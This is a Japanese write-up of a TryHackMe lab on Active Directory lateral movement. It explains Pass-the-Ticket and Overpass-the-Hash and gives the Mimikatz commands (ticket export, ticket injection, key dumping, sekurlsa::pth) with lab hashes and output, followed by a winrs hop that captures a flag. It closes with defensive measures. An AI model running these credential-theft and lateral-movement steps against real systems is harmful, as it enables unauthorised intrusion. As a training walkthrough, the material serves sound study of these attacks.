はじめに
Active Directory環境のペネトレーションテストにおいて、認証情報を取得した後の「横移動(Lateral Movement)」は非常に重要なフェーズです。今回は、代表的な手法である Pass-the-Ticket (PtT) と Overpass-the-Hash (OPtH) の仕組みと、Mimikatzを用いた実践的な流れを解説します。
1. Pass-the-Ticket (PtT)
Pass-the-Ticket は、ユーザーのパスワードを知らなくても、メモリ(LSASSプロセス)から抽出した Kerberosチケット を再利用することで、他のサービスへアクセスする手法です。
特徴
- TGT (Ticket Granting Ticket): 抽出には管理者権限が必要。取得できれば、そのユーザーが許可されたあらゆるサービスへのアクセス権を要求できるため、非常に強力です。
- TGS (Ticket Granting Service): 特定のサービス(ファイル共有など)のみに有効。低権限ユーザーでも自身のセッションから抽出可能です。
- 注意点: チケットだけでなく、対応する セッションキー も同時に抽出する必要があります。
Mimikatzでの操作例
PowerShell
# 1. 管理者権限の有効化とチケットの抽出
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 575178 (00000000:0008c6ca)
Session : RemoteInteractive from 3
User Name : t1_toby.beck
Domain : ZA
Logon Server : THMDC
Logon Time : 4/7/2026 8:45:19 AM
SID : S-1-5-21-3330634377-1326264276-632209373-4607
* Username : t1_toby.beck
* Domain : ZA.TRYHACKME.COM
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
# 2. 抽出したチケット(.kirbiファイル)を現在のセッションに注入
mimikatz # kerberos::ptt [チケットのファイル名].kirbi
# 3. 注入されたチケットの確認
klist
Current LogonId is 0:0x76e4f
Cached Tickets: (1)
#0> Client: t2_felicia.dean @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent nam
e_canonicalize
Start Time: 4/7/2026 8:38:23 (local)
End Time: 4/7/2026 18:38:23 (local)
Renew Time: 4/14/2026 8:38:23 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com
2. Overpass-the-Hash (OPtH) / Pass-the-Key
Kerberos認証では、事前認証の段階でパスワードから派生した「暗号化キー」を使用します。このキー(NTLMハッシュやAESキー)を直接使ってTGTを要求する手法が Overpass-the-Hash です。
特徴
- NTLMハッシュ、AES128、AES256などのキーがあれば実行可能。
- 特にRC4アルゴリズムが有効な場合、NTLMハッシュをそのままキーとして利用できるため、PtH(Pass-the-Hash)のKerberos版として機能します。
Mimikatzでの操作例
mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys
rc4_hmac_old_exp 9354c11666d0876b3fb9305e298929d1
Authentication Id : 0 ; 575178 (00000000:0008c6ca)
Session : RemoteInteractive from 3
User Name : t1_toby.beck
Domain : ZA
Logon Server : THMDC
Logon Time : 4/7/2026 8:45:19 AM
SID : S-1-5-21-3330634377-1326264276-632209373-4607
* Username : t1_toby.beck
* Domain : ZA.TRYHACKME.COM
* Password : (null)
* Key List :
aes256_hmac 6a0d48f79acaec013d928d84a102b72028d574340b6139e876e
179db48fbde4e
rc4_hmac_nt 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_old 533f1bd576caa912bdb9da284bbc60fe
rc4_md4 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_nt_exp 533f1bd576caa912bdb9da284bbc60fe
rc4_hmac_old_exp 533f1bd576caa912bdb9da284bbc60fe
Authentication Id : 0 ; 486991 (00000000:00076e4f)
-- More --
# AES256キーを使用して、特定のユーザーとして新しいプロセスを起動
mimikatz # sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /6a0d48f79acaec013d928d84a102b72028d574340b6139e876e
179db48fbde4e /run:"cmd.exe"
3. 実践シナリオ:THMJMP2 から THMIIS への横移動
TryHackMe等の演習環境を想定した、具体的な攻撃フローは以下の通りです。
前提条件
- 踏み台サーバー:
THMJMP2 - ターゲット:
THMIIS - 標的ユーザー:
t1_toby.beck
実行手順
-
ログイン: 管理者権限を持つアカウントで
THMJMP2にSSH接続。 -
キーの抽出: Mimikatzの
sekurlsa::ekeysでt1_toby.beckのハッシュ/キーを取得。 -
権限の偽装:
sekurlsa::pthを実行し、t1_toby.beckの権限を持つ新しいコマンドプロンプトを立ち上げる。 -
リモート接続: 新しいプロンプトから
winrsを使用してTHMIISへ接続。winrs.exe -r:THMIIS.za.tryhackme.com cmd -
目的達成: ターゲットサーバーのデスクトップ等にあるフラグ(機密情報)を閲覧。
C:\Users\t1_toby.beck\Desktop>flag.exe flag.exe THM{NO_PASSWORD_NEEDED}
まとめ
- PtT は「チケットそのもの」を盗む。
- OPtH は「ハッシュ/キー」を使って、正規のチケットをKDCに発行させる。
これらの攻撃を防ぐには、特権ユーザーのログオン先を制限する(Tiered Administration)ことや、LSASSの保護(PPL)を有効化することが不可欠です